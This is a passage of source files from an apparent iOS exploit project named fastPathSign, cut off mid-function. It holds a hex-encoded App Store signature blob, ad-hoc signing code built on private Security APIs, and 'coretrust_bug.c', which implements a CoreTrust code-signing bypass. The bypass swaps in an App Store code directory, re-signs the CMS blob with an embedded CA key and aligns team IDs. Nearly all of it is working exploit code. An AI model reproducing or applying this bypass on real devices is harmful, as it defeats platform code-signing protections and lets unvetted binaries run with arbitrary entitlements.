0x2b, 0x6e, 0x43, 0x34, 0x64, 0x37, 0x6e, 0x66, 0x51, 0x6b, 0x38, 0x34,
|
||||
0x50, 0x7a, 0x7a, 0x2f, 0x4a, 0x4e, 0x46, 0x41, 0x3d, 0x0a, 0x09, 0x09,
|
||||
0x3c, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64,
|
||||
0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x6b, 0x33, 0x49, 0x5a, 0x77,
|
||||
0x35, 0x67, 0x59, 0x31, 0x33, 0x30, 0x4d, 0x65, 0x35, 0x4e, 0x73, 0x75,
|
||||
0x74, 0x59, 0x73, 0x70, 0x45, 0x78, 0x45, 0x74, 0x36, 0x51, 0x3d, 0x0a,
|
||||
0x09, 0x09, 0x3c, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x3c,
|
||||
0x2f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x3e, 0x0a, 0x3c, 0x2f, 0x64, 0x69,
|
||||
0x63, 0x74, 0x3e, 0x0a, 0x3c, 0x2f, 0x70, 0x6c, 0x69, 0x73, 0x74, 0x3e,
|
||||
0x0a, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01,
|
||||
0x01, 0x0b, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x3b, 0x3d, 0x60, 0x8d,
|
||||
0xa2, 0x95, 0x1e, 0x5b, 0xa6, 0x02, 0xb4, 0x71, 0xc3, 0xfa, 0x01, 0xf0,
|
||||
0x1c, 0x1f, 0x15, 0x8d, 0xf0, 0x15, 0xcb, 0x76, 0x6a, 0xfd, 0xb4, 0x95,
|
||||
0x14, 0x6f, 0xea, 0x4c, 0x1b, 0xf1, 0x32, 0x80, 0xe7, 0x97, 0x04, 0x00,
|
||||
0x07, 0x4d, 0x86, 0x73, 0xbe, 0x5c, 0xd4, 0x13, 0xe4, 0x31, 0xb7, 0x94,
|
||||
0xc0, 0x6a, 0xf9, 0x4a, 0x48, 0x7a, 0x44, 0xde, 0x67, 0xc8, 0xb2, 0xcd,
|
||||
0xed, 0x2c, 0xff, 0x80, 0xec, 0x96, 0xc1, 0x2e, 0x37, 0x13, 0x67, 0x1b,
|
||||
0xa3, 0x54, 0x63, 0x88, 0x84, 0x5d, 0x1a, 0xca, 0xc9, 0x58, 0xec, 0xca,
|
||||
0x82, 0x38, 0x8d, 0x29, 0x1c, 0xca, 0x58, 0x50, 0xc4, 0xd0, 0x91, 0xba,
|
||||
0x22, 0x7e, 0x73, 0x00, 0x58, 0x48, 0x5d, 0x49, 0xbd, 0xe7, 0xde, 0x35,
|
||||
0x23, 0xfa, 0x60, 0x93, 0x12, 0x98, 0x2f, 0xf6, 0x8b, 0x38, 0x54, 0x32,
|
||||
0x75, 0x0a, 0x3b, 0xed, 0x7f, 0x6a, 0x78, 0xf7, 0x87, 0x30, 0x49, 0xf4,
|
||||
0x1f, 0x0d, 0x0a, 0x8b, 0xb7, 0xa7, 0x7e, 0x69, 0x48, 0x34, 0x6c, 0x9b,
|
||||
0x77, 0xce, 0x0e, 0x68, 0xd9, 0x30, 0xb2, 0xc6, 0xa3, 0x30, 0x8a, 0x87,
|
||||
0xd9, 0x25, 0xd7, 0x58, 0xc1, 0xae, 0x33, 0x4f, 0xeb, 0x2c, 0xcb, 0xf2,
|
||||
0xb2, 0xe8, 0x2d, 0xa9, 0x4c, 0xa8, 0xd8, 0x64, 0x8b, 0x91, 0xdc, 0xb6,
|
||||
0x55, 0x69, 0x84, 0x43, 0x4b, 0x75, 0xe6, 0xba, 0xd6, 0x58, 0x5b, 0x5e,
|
||||
0xe7, 0x91, 0x5a, 0x69, 0x9b, 0xb6, 0x45, 0x7f, 0x1a, 0x9f, 0x0b, 0x87,
|
||||
0xac, 0x4c, 0xc8, 0x58, 0x59, 0x18, 0x25, 0x02, 0x6c, 0xb2, 0x66, 0xf1,
|
||||
0x2c, 0xc7, 0xaf, 0x68, 0x7a, 0x0e, 0x82, 0x93, 0x27, 0xd8, 0x75, 0x01,
|
||||
0xdf, 0xd4, 0xa7, 0xba, 0xa5, 0x6e, 0xb2, 0x16, 0x49, 0x9a, 0xef, 0xdf,
|
||||
0xec, 0xa7, 0x15, 0x78, 0x05, 0x68, 0x37, 0xaf, 0xf6, 0xfb, 0xa9, 0x3b,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
unsigned int AppStoreSignatureBlob_len = 4398;
|
4
Exploits/fastPathSign/src/codesign.h
Normal file
@ -0,0 +1,4 @@
|
||||
#import <stdbool.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements);
|
186
Exploits/fastPathSign/src/codesign.m
Normal file
@ -0,0 +1,186 @@
|
||||
#include <Foundation/Foundation.h>
|
||||
#include <Security/Security.h>
|
||||
#include <TargetConditionals.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#if TARGET_OS_OSX
|
||||
#include <Security/SecCode.h>
|
||||
#include <Security/SecStaticCode.h>
|
||||
#else
|
||||
|
||||
// CSCommon.h
|
||||
typedef struct CF_BRIDGED_TYPE(id) __SecCode const* SecStaticCodeRef; /* code on disk */
|
||||
|
||||
typedef CF_OPTIONS(uint32_t, SecCSFlags) {
|
||||
kSecCSDefaultFlags = 0, /* no particular flags (default behavior) */
|
||||
|
||||
kSecCSConsiderExpiration = 1U << 31, /* consider expired certificates invalid */
|
||||
kSecCSEnforceRevocationChecks = 1 << 30, /* force revocation checks regardless of preference settings */
|
||||
kSecCSNoNetworkAccess = 1 << 29, /* do not use the network, cancels "kSecCSEnforceRevocationChecks" */
|
||||
kSecCSReportProgress = 1 << 28, /* make progress report call-backs when configured */
|
||||
kSecCSCheckTrustedAnchors = 1 << 27, /* build certificate chain to system trust anchors, not to any self-signed certificate */
|
||||
kSecCSQuickCheck = 1 << 26, /* (internal) */
|
||||
kSecCSApplyEmbeddedPolicy = 1 << 25, /* Apply Embedded (iPhone) policy regardless of the platform we're running on */
|
||||
};
|
||||
|
||||
// SecStaticCode.h
|
||||
OSStatus SecStaticCodeCreateWithPathAndAttributes(CFURLRef path, SecCSFlags flags, CFDictionaryRef attributes,
|
||||
SecStaticCodeRef* __nonnull CF_RETURNS_RETAINED staticCode);
|
||||
|
||||
// SecCode.h
|
||||
CF_ENUM(uint32_t){
|
||||
kSecCSInternalInformation = 1 << 0, kSecCSSigningInformation = 1 << 1, kSecCSRequirementInformation = 1 << 2,
|
||||
kSecCSDynamicInformation = 1 << 3, kSecCSContentInformation = 1 << 4, kSecCSSkipResourceDirectory = 1 << 5,
|
||||
kSecCSCalculateCMSDigest = 1 << 6,
|
||||
};
|
||||
|
||||
OSStatus SecCodeCopySigningInformation(SecStaticCodeRef code, SecCSFlags flags, CFDictionaryRef* __nonnull CF_RETURNS_RETAINED information);
|
||||
|
||||
extern const CFStringRef kSecCodeInfoEntitlements; /* generic */
|
||||
extern const CFStringRef kSecCodeInfoIdentifier; /* generic */
|
||||
extern const CFStringRef kSecCodeInfoRequirementData; /* Requirement */
|
||||
|
||||
#endif
|
||||
|
||||
typedef CF_OPTIONS(uint32_t, SecPreserveFlags) {
|
||||
kSecCSPreserveIdentifier = 1 << 0,
|
||||
kSecCSPreserveRequirements = 1 << 1,
|
||||
kSecCSPreserveEntitlements = 1 << 2,
|
||||
kSecCSPreserveResourceRules = 1 << 3,
|
||||
kSecCSPreserveFlags = 1 << 4,
|
||||
kSecCSPreserveTeamIdentifier = 1 << 5,
|
||||
kSecCSPreserveDigestAlgorithm = 1 << 6,
|
||||
kSecCSPreservePreEncryptHashes = 1 << 7,
|
||||
kSecCSPreserveRuntime = 1 << 8,
|
||||
};
|
||||
|
||||
// SecCodeSigner.h
|
||||
#ifdef BRIDGED_SECCODESIGNER
|
||||
typedef struct CF_BRIDGED_TYPE(id) __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
|
||||
#else
|
||||
typedef struct __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
|
||||
#endif
|
||||
|
||||
const CFStringRef kSecCodeSignerApplicationData = CFSTR("application-specific");
|
||||
const CFStringRef kSecCodeSignerDetached = CFSTR("detached");
|
||||
const CFStringRef kSecCodeSignerDigestAlgorithm = CFSTR("digest-algorithm");
|
||||
const CFStringRef kSecCodeSignerDryRun = CFSTR("dryrun");
|
||||
const CFStringRef kSecCodeSignerEntitlements = CFSTR("entitlements");
|
||||
const CFStringRef kSecCodeSignerFlags = CFSTR("flags");
|
||||
const CFStringRef kSecCodeSignerIdentifier = CFSTR("identifier");
|
||||
const CFStringRef kSecCodeSignerIdentifierPrefix = CFSTR("identifier-prefix");
|
||||
const CFStringRef kSecCodeSignerIdentity = CFSTR("signer");
|
||||
const CFStringRef kSecCodeSignerPageSize = CFSTR("pagesize");
|
||||
const CFStringRef kSecCodeSignerRequirements = CFSTR("requirements");
|
||||
const CFStringRef kSecCodeSignerResourceRules = CFSTR("resource-rules");
|
||||
const CFStringRef kSecCodeSignerSDKRoot = CFSTR("sdkroot");
|
||||
const CFStringRef kSecCodeSignerSigningTime = CFSTR("signing-time");
|
||||
const CFStringRef kSecCodeSignerRequireTimestamp = CFSTR("timestamp-required");
|
||||
const CFStringRef kSecCodeSignerTimestampServer = CFSTR("timestamp-url");
|
||||
const CFStringRef kSecCodeSignerTimestampAuthentication = CFSTR("timestamp-authentication");
|
||||
const CFStringRef kSecCodeSignerTimestampOmitCertificates = CFSTR("timestamp-omit-certificates");
|
||||
const CFStringRef kSecCodeSignerPreserveMetadata = CFSTR("preserve-metadata");
|
||||
const CFStringRef kSecCodeSignerTeamIdentifier = CFSTR("teamidentifier");
|
||||
const CFStringRef kSecCodeSignerPlatformIdentifier = CFSTR("platform-identifier");
|
||||
|
||||
#ifdef BRIDGED_SECCODESIGNER
|
||||
OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* __nonnull CF_RETURNS_RETAINED signer)
|
||||
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
|
||||
#else
|
||||
OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* signer)
|
||||
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
|
||||
#endif
|
||||
|
||||
OSStatus SecCodeSignerAddSignatureWithErrors(SecCodeSignerRef signer, SecStaticCodeRef code, SecCSFlags flags, CFErrorRef* errors)
|
||||
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
|
||||
|
||||
// SecCodePriv.h
|
||||
extern const CFStringRef kSecCodeInfoResourceDirectory; /* Internal */
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements)
|
||||
{
|
||||
// We need to do this shit because iOS 14 does not have the symbol
|
||||
OSStatus (*__SecCodeSignerCreate)(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef *signerRef) = dlsym(RTLD_DEFAULT, "SecCodeSignerCreate");
|
||||
OSStatus (*__SecCodeSignerAddSignatureWithErrors)(SecCodeSignerRef signerRef, SecStaticCodeRef codeRef, SecCSFlags flags, CFErrorRef *errors) = dlsym(RTLD_DEFAULT, "SecCodeSignerAddSignatureWithErrors");
|
||||
// if this is not found, all bets are off
|
||||
if (!__SecCodeSignerCreate) return 404;
|
||||
if (!__SecCodeSignerAddSignatureWithErrors) return 404;
|
||||
|
||||
NSString *filePath = [NSString stringWithUTF8String:path];
|
||||
OSStatus status = 0;
|
||||
int retval = 200;
|
||||
|
||||
// the special value "-" (dash) indicates ad-hoc signing
|
||||
SecIdentityRef identity = (SecIdentityRef)kCFNull;
|
||||
NSMutableDictionary* parameters = [[NSMutableDictionary alloc] init];
|
||||
parameters[(__bridge NSString*)kSecCodeSignerIdentity] = (__bridge id)identity;
|
||||
uint64_t preserveMetadataFlags = 0;
|
||||
if (preserveMetadata) {
|
||||
preserveMetadataFlags = (kSecCSPreserveIdentifier | kSecCSPreserveRequirements | kSecCSPreserveResourceRules);
|
||||
if (!customEntitlements) {
|
||||
preserveMetadataFlags |= kSecCSPreserveEntitlements;
|
||||
}
|
||||
parameters[(__bridge NSString*)kSecCodeSignerPreserveMetadata] = @(preserveMetadataFlags);
|
||||
}
|
||||
|
||||
if (customEntitlements) {
|
||||
NSError *error;
|
||||
NSData *xmlData = [NSPropertyListSerialization dataWithPropertyList:customEntitlements format:NSPropertyListXMLFormat_v1_0 options:0 error:&error];
|
||||
if (!xmlData) {
|
||||
NSLog(@"Failed to encode entitlements: %@", error);
|
||||
return -1;
|
||||
}
|
||||
else {
|
||||
// Super easy to use API, definitely not busted...
|
||||
// Did I forget to mention it just segfaults if you don't add this prefix?
|
||||
uint32_t entitlementsData[xmlData.length+8];
|
||||
entitlementsData[0] = OSSwapHostToBigInt32(0xFADE7171);
|
||||
entitlementsData[1] = OSSwapHostToBigInt32(xmlData.length+8);
|
||||
[xmlData getBytes:&entitlementsData[2] length:xmlData.length];
|
||||
parameters[(__bridge NSString*)kSecCodeSignerEntitlements] = [NSData dataWithBytes:entitlementsData length:xmlData.length+8];
|
||||
}
|
||||
}
|
||||
|
||||
SecCodeSignerRef signerRef;
|
||||
status = __SecCodeSignerCreate((__bridge CFDictionaryRef)parameters, kSecCSDefaultFlags, &signerRef);
|
||||
if (status == 0) {
|
||||
SecStaticCodeRef code;
|
||||
status = SecStaticCodeCreateWithPathAndAttributes((__bridge CFURLRef)[NSURL fileURLWithPath:filePath], kSecCSDefaultFlags, (__bridge CFDictionaryRef)@{}, &code);
|
||||
if (status == 0) {
|
||||
CFErrorRef errors;
|
||||
status = __SecCodeSignerAddSignatureWithErrors(signerRef, code, kSecCSDefaultFlags, &errors);
|
||||
if (status == 0) {
|
||||
CFDictionaryRef newSigningInformation;
|
||||
// Difference from codesign: added kSecCSSigningInformation, kSecCSRequirementInformation, kSecCSInternalInformation
|
||||
status = SecCodeCopySigningInformation(code, kSecCSDefaultFlags | kSecCSSigningInformation | kSecCSRequirementInformation | kSecCSInternalInformation, &newSigningInformation);
|
||||
if (status == 0) {
|
||||
retval = 0;
|
||||
CFRelease(newSigningInformation);
|
||||
} else {
|
||||
retval = 203;
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("Error while signing: %s\n", ((__bridge NSError *)errors).description.UTF8String);
|
||||
}
|
||||
CFRelease(code);
|
||||
}
|
||||
else {
|
||||
retval = 202;
|
||||
}
|
||||
CFRelease(signerRef);
|
||||
}
|
||||
else {
|
||||
retval = 201;
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
374
Exploits/fastPathSign/src/coretrust_bug.c
Normal file
@ -0,0 +1,374 @@
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include "CSBlob.h"
|
||||
#include "MachOByteOrder.h"
|
||||
#include "MachO.h"
|
||||
#include "Host.h"
|
||||
#include "MemoryStream.h"
|
||||
#include "FileStream.h"
|
||||
#include "BufferedStream.h"
|
||||
#include "CodeDirectory.h"
|
||||
#include "Base64.h"
|
||||
#include "Templates/AppStoreCodeDirectory.h"
|
||||
#include "Templates/DERTemplate.h"
|
||||
#include "Templates/TemplateSignatureBlob.h"
|
||||
#include "Templates/CADetails.h"
|
||||
#include <openssl/pem.h>
|
||||
#include <openssl/err.h>
|
||||
#include <copyfile.h>
|
||||
#include <TargetConditionals.h>
|
||||
#include <openssl/cms.h>
|
||||
|
||||
int update_signature_blob(CS_DecodedSuperBlob *superblob)
|
||||
{
|
||||
CS_DecodedBlob *sha1CD = csd_superblob_find_blob(superblob, CSSLOT_CODEDIRECTORY, NULL);
|
||||
if (!sha1CD) {
|
||||
printf("Could not find SHA1 CodeDirectory blob!\n");
|
||||
return -1;
|
||||
}
|
||||
CS_DecodedBlob *sha256CD = csd_superblob_find_blob(superblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL);
|
||||
if (!sha256CD) {
|
||||
printf("Could not find SHA256 CodeDirectory blob!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint8_t sha1CDHash[CC_SHA1_DIGEST_LENGTH];
|
||||
uint8_t sha256CDHash[CC_SHA256_DIGEST_LENGTH];
|
||||
|
||||
{
|
||||
size_t dataSizeToRead = csd_blob_get_size(sha1CD);
|
||||
uint8_t *data = malloc(dataSizeToRead);
|
||||
memset(data, 0, dataSizeToRead);
|
||||
csd_blob_read(sha1CD, 0, dataSizeToRead, data);
|
||||
CC_SHA1(data, (CC_LONG)dataSizeToRead, sha1CDHash);
|
||||
free(data);
|
||||
printf("SHA1 hash: ");
|
||||
for (int i = 0; i < CC_SHA1_DIGEST_LENGTH; i++) {
|
||||
printf("%02x", sha1CDHash[i]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
{
|
||||
size_t dataSizeToRead = csd_blob_get_size(sha256CD);
|
||||
uint8_t *data = malloc(dataSizeToRead);
|
||||
memset(data, 0, dataSizeToRead);
|
||||
csd_blob_read(sha256CD, 0, dataSizeToRead, data);
|
||||
CC_SHA256(data, (CC_LONG)dataSizeToRead, sha256CDHash);
|
||||
free(data);
|
||||
printf("SHA256 hash: ");
|
||||
for (int i = 0; i < CC_SHA256_DIGEST_LENGTH; i++) {
|
||||
printf("%02x", sha256CDHash[i]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
const uint8_t *cmsDataPtr = AppStoreSignatureBlob + offsetof(CS_GenericBlob, data);
|
||||
size_t cmsDataSize = AppStoreSignatureBlob_len - sizeof(CS_GenericBlob);
|
||||
CMS_ContentInfo *cms = d2i_CMS_ContentInfo(NULL, (const unsigned char**)&cmsDataPtr, cmsDataSize);
|
||||
if (!cms) {
|
||||
printf("Failed to parse CMS blob: %s!\n", ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Load private key
|
||||
FILE* privateKeyFile = fmemopen(CAKey, CAKeyLength, "r");
|
||||
if (!privateKeyFile) {
|
||||
printf("Failed to open private key file!\n");
|
||||
return -1;
|
||||
}
|
||||
EVP_PKEY* privateKey = PEM_read_PrivateKey(privateKeyFile, NULL, NULL, NULL);
|
||||
fclose(privateKeyFile);
|
||||
if (!privateKey) {
|
||||
printf("Failed to read private key file!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Load certificate
|
||||
FILE* certificateFile = fmemopen(CACert, CACertLength, "r");
|
||||
if (!certificateFile) {
|
||||
printf("Failed to open certificate file!\n");
|
||||
return -1;
|
||||
}
|
||||
X509* certificate = PEM_read_X509(certificateFile, NULL, NULL, NULL);
|
||||
fclose(certificateFile);
|
||||
if (!certificate) {
|
||||
printf("Failed to read certificate file!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Add signer
|
||||
CMS_SignerInfo* newSigner = CMS_add1_signer(cms, certificate, privateKey, EVP_sha256(), CMS_PARTIAL | CMS_REUSE_DIGEST | CMS_NOSMIMECAP);
|
||||
if (!newSigner) {
|
||||
printf("Failed to add signer: %s!\n", ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
CFMutableArrayRef cdHashesArray = CFArrayCreateMutable(NULL, 2, &kCFTypeArrayCallBacks);
|
||||
if (!cdHashesArray) {
|
||||
printf("Failed to create CDHashes array!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
CFDataRef sha1CDHashData = CFDataCreate(NULL, sha1CDHash, CC_SHA1_DIGEST_LENGTH);
|
||||
if (!sha1CDHashData) {
|
||||
printf("Failed to create CFData from SHA1 CDHash!\n");
|
||||
CFRelease(cdHashesArray);
|
||||
return -1;
|
||||
}
|
||||
CFArrayAppendValue(cdHashesArray, sha1CDHashData);
|
||||
CFRelease(sha1CDHashData);
|
||||
|
||||
// In this plist, the SHA256 hash is truncated to SHA1 length
|
||||
CFDataRef sha256CDHashData = CFDataCreate(NULL, sha256CDHash, CC_SHA1_DIGEST_LENGTH);
|
||||
if (!sha256CDHashData) {
|
||||
printf("Failed to create CFData from SHA256 CDHash!\n");
|
||||
CFRelease(cdHashesArray);
|
||||
return -1;
|
||||
}
|
||||
CFArrayAppendValue(cdHashesArray, sha256CDHashData);
|
||||
CFRelease(sha256CDHashData);
|
||||
|
||||
CFMutableDictionaryRef cdHashesDictionary = CFDictionaryCreateMutable(NULL, 1, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
if (!cdHashesDictionary) {
|
||||
printf("Failed to create CDHashes dictionary!\n");
|
||||
CFRelease(cdHashesArray);
|
||||
return -1;
|
||||
}
|
||||
CFDictionarySetValue(cdHashesDictionary, CFSTR("cdhashes"), cdHashesArray);
|
||||
CFRelease(cdHashesArray);
|
||||
|
||||
CFErrorRef error = NULL;
|
||||
CFDataRef cdHashesDictionaryData = CFPropertyListCreateData(NULL, cdHashesDictionary, kCFPropertyListXMLFormat_v1_0, 0, &error);
|
||||
CFRelease(cdHashesDictionary);
|
||||
if (!cdHashesDictionaryData) {
|
||||
// CFStringGetCStringPtr, unfortunately, does not always work
|
||||
CFStringRef errorString = CFErrorCopyDescription(error);
|
||||
CFIndex maxSize = CFStringGetMaximumSizeForEncoding(CFStringGetLength(errorString), kCFStringEncodingUTF8) + 1;
|
||||
char *buffer = (char *)malloc(maxSize);
|
||||
if (CFStringGetCString(errorString, buffer, maxSize, kCFStringEncodingUTF8)) {
|
||||
printf("Failed to encode CDHashes plist: %s\n", buffer);
|
||||
} else {
|
||||
printf("Failed to encode CDHashes plist: unserializable error\n");
|
||||
}
|
||||
free(buffer);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Add text CDHashes attribute
|
||||
if (!CMS_signed_add1_attr_by_txt(newSigner, "1.2.840.113635.100.9.1", V_ASN1_OCTET_STRING, CFDataGetBytePtr(cdHashesDictionaryData), CFDataGetLength(cdHashesDictionaryData))) {
|
||||
printf("Failed to add text CDHashes attribute: %s!\n", ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Create DER-encoded CDHashes (see DERTemplate.h for details)
|
||||
uint8_t cdHashesDER[78];
|
||||
memset(cdHashesDER, 0, sizeof(cdHashesDER));
|
||||
memcpy(cdHashesDER, CDHashesDERTemplate, sizeof(CDHashesDERTemplate));
|
||||
memcpy(cdHashesDER + CDHASHES_DER_SHA1_OFFSET, sha1CDHash, CC_SHA1_DIGEST_LENGTH);
|
||||
memcpy(cdHashesDER + CDHASHES_DER_SHA256_OFFSET, sha256CDHash, CC_SHA256_DIGEST_LENGTH);
|
||||
|
||||
// Add DER CDHashes attribute
|
||||
if (!CMS_signed_add1_attr_by_txt(newSigner, "1.2.840.113635.100.9.2", V_ASN1_SEQUENCE, cdHashesDER, sizeof(cdHashesDER))) {
|
||||
printf("Failed to add CDHashes attribute: %s!\n", ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Sign the CMS structure
|
||||
if (!CMS_SignerInfo_sign(newSigner)) {
|
||||
printf("Failed to sign CMS structure: %s!\n", ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Encode the CMS structure into DER
|
||||
uint8_t *newCMSData = NULL;
|
||||
int newCMSDataSize = i2d_CMS_ContentInfo(cms, &newCMSData);
|
||||
if (newCMSDataSize <= 0) {
|
||||
printf("Failed to encode CMS structure: %s!\n", ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Copy CMS data into a new blob
|
||||
uint32_t newCMSDataBlobSize = sizeof(CS_GenericBlob) + newCMSDataSize;
|
||||
CS_GenericBlob *newCMSDataBlob = malloc(newCMSDataBlobSize);
|
||||
newCMSDataBlob->magic = HOST_TO_BIG(CSMAGIC_BLOBWRAPPER);
|
||||
newCMSDataBlob->length = HOST_TO_BIG(newCMSDataBlobSize);
|
||||
memcpy(newCMSDataBlob->data, newCMSData, newCMSDataSize);
|
||||
free(newCMSData);
|
||||
|
||||
// Remove old signature blob if it exists
|
||||
CS_DecodedBlob *oldSignatureBlob = csd_superblob_find_blob(superblob, CSSLOT_SIGNATURESLOT, NULL);
|
||||
if (oldSignatureBlob) {
|
||||
csd_superblob_remove_blob(superblob, oldSignatureBlob);
|
||||
csd_blob_free(oldSignatureBlob);
|
||||
}
|
||||
|
||||
// Append new signature blob
|
||||
CS_DecodedBlob *signatureBlob = csd_blob_init(CSSLOT_SIGNATURESLOT, newCMSDataBlob);
|
||||
free(newCMSDataBlob);
|
||||
|
||||
// Append new signature blob
|
||||
return csd_superblob_append_blob(superblob, signatureBlob);
|
||||
}
|
||||
|
||||
int apply_coretrust_bypass(const char *machoPath)
|
||||
{
|
||||
MachO *macho = macho_init_for_writing(machoPath);
|
||||
if (!macho) return -1;
|
||||
|
||||
if (macho_is_encrypted(macho)) {
|
||||
printf("Error: MachO is encrypted, please use a decrypted app!\n");
|
||||
macho_free(macho);
|
||||
return 2;
|
||||
}
|
||||
|
||||
if (macho->machHeader.filetype == MH_OBJECT) {
|
||||
printf("Error: MachO is an object file, please use a MachO executable or dynamic library!\n");
|
||||
macho_free(macho);
|
||||
return 3;
|
||||
}
|
||||
|
||||
if (macho->machHeader.filetype == MH_DSYM) {
|
||||
printf("Error: MachO is a dSYM file, please use a MachO executable or dynamic library!\n");
|
||||
macho_free(macho);
|
||||
return 3;
|
||||
}
|
||||
|
||||
CS_SuperBlob *superblob = macho_read_code_signature(macho);
|
||||
if (!superblob) {
|
||||
printf("Error: no code signature found, please fake-sign the binary at minimum before running the bypass.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_decode(superblob);
|
||||
uint64_t originalCodeSignatureSize = BIG_TO_HOST(superblob->length);
|
||||
free(superblob);
|
||||
|
||||
CS_DecodedBlob *realCodeDirBlob = NULL;
|
||||
CS_DecodedBlob *mainCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_CODEDIRECTORY, NULL);
|
||||
CS_DecodedBlob *alternateCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL);
|
||||
|
||||
CS_DecodedBlob *entitlementsBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_ENTITLEMENTS, NULL);
|
||||
CS_DecodedBlob *derEntitlementsBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_DER_ENTITLEMENTS, NULL);
|
||||
|
||||
if (!entitlementsBlob && !derEntitlementsBlob && macho->machHeader.filetype == MH_EXECUTE) {
|
||||
printf("Warning: Unable to find existing entitlements blobs in executable MachO.\n");
|
||||
}
|
||||
|
||||
if (!mainCodeDirBlob) {
|
||||
printf("Error: Unable to find code directory, make sure the input binary is ad-hoc signed.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// We need to determine which code directory to transfer to the new binary
|
||||
if (alternateCodeDirBlob) {
|
||||
// If an alternate code directory exists, use that and remove the main one from the superblob
|
||||
realCodeDirBlob = alternateCodeDirBlob;
|
||||
csd_superblob_remove_blob(decodedSuperblob, mainCodeDirBlob);
|
||||
csd_blob_free(mainCodeDirBlob);
|
||||
}
|
||||
else {
|
||||
// Otherwise use the main code directory
|
||||
realCodeDirBlob = mainCodeDirBlob;
|
||||
}
|
||||
|
||||
if (csd_code_directory_get_hash_type(realCodeDirBlob) != CS_HASHTYPE_SHA256_256) {
|
||||
printf("Error: Alternate code directory is not SHA256, bypass won't work!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Applying App Store code directory...\n");
|
||||
|
||||
// Append real code directory as alternateCodeDirectory at the end of superblob
|
||||
csd_superblob_remove_blob(decodedSuperblob, realCodeDirBlob);
|
||||
csd_blob_set_type(realCodeDirBlob, CSSLOT_ALTERNATE_CODEDIRECTORIES);
|
||||
csd_superblob_append_blob(decodedSuperblob, realCodeDirBlob);
|
||||
|
||||
// Insert AppStore code directory as main code directory at the start
|
||||
CS_DecodedBlob *appStoreCodeDirectoryBlob = csd_blob_init(CSSLOT_CODEDIRECTORY, (CS_GenericBlob *)AppStoreCodeDirectory);
|
||||
csd_superblob_insert_blob_at_index(decodedSuperblob, appStoreCodeDirectoryBlob, 0);
|
||||
|
||||
printf("Adding new signature blob...\n");
|
||||
CS_DecodedBlob *signatureBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_SIGNATURESLOT, NULL);
|
||||
if (signatureBlob) {
|
||||
// Remove existing signatureBlob if existant
|
||||
csd_superblob_remove_blob(decodedSuperblob, signatureBlob);
|
||||
csd_blob_free(signatureBlob);
|
||||
}
|
||||
|
||||
// After Modification:
|
||||
// 1. App Store CodeDirectory (SHA1)
|
||||
// ?. Requirements
|
||||
// ?. Entitlements
|
||||
// ?. DER entitlements
|
||||
// 5. Actual CodeDirectory (SHA256)
|
||||
|
||||
printf("Updating TeamID...\n");
|
||||
|
||||
// Get team ID from AppStore code directory
|
||||
// For the bypass to work, both code directories need to have the same team ID
|
||||
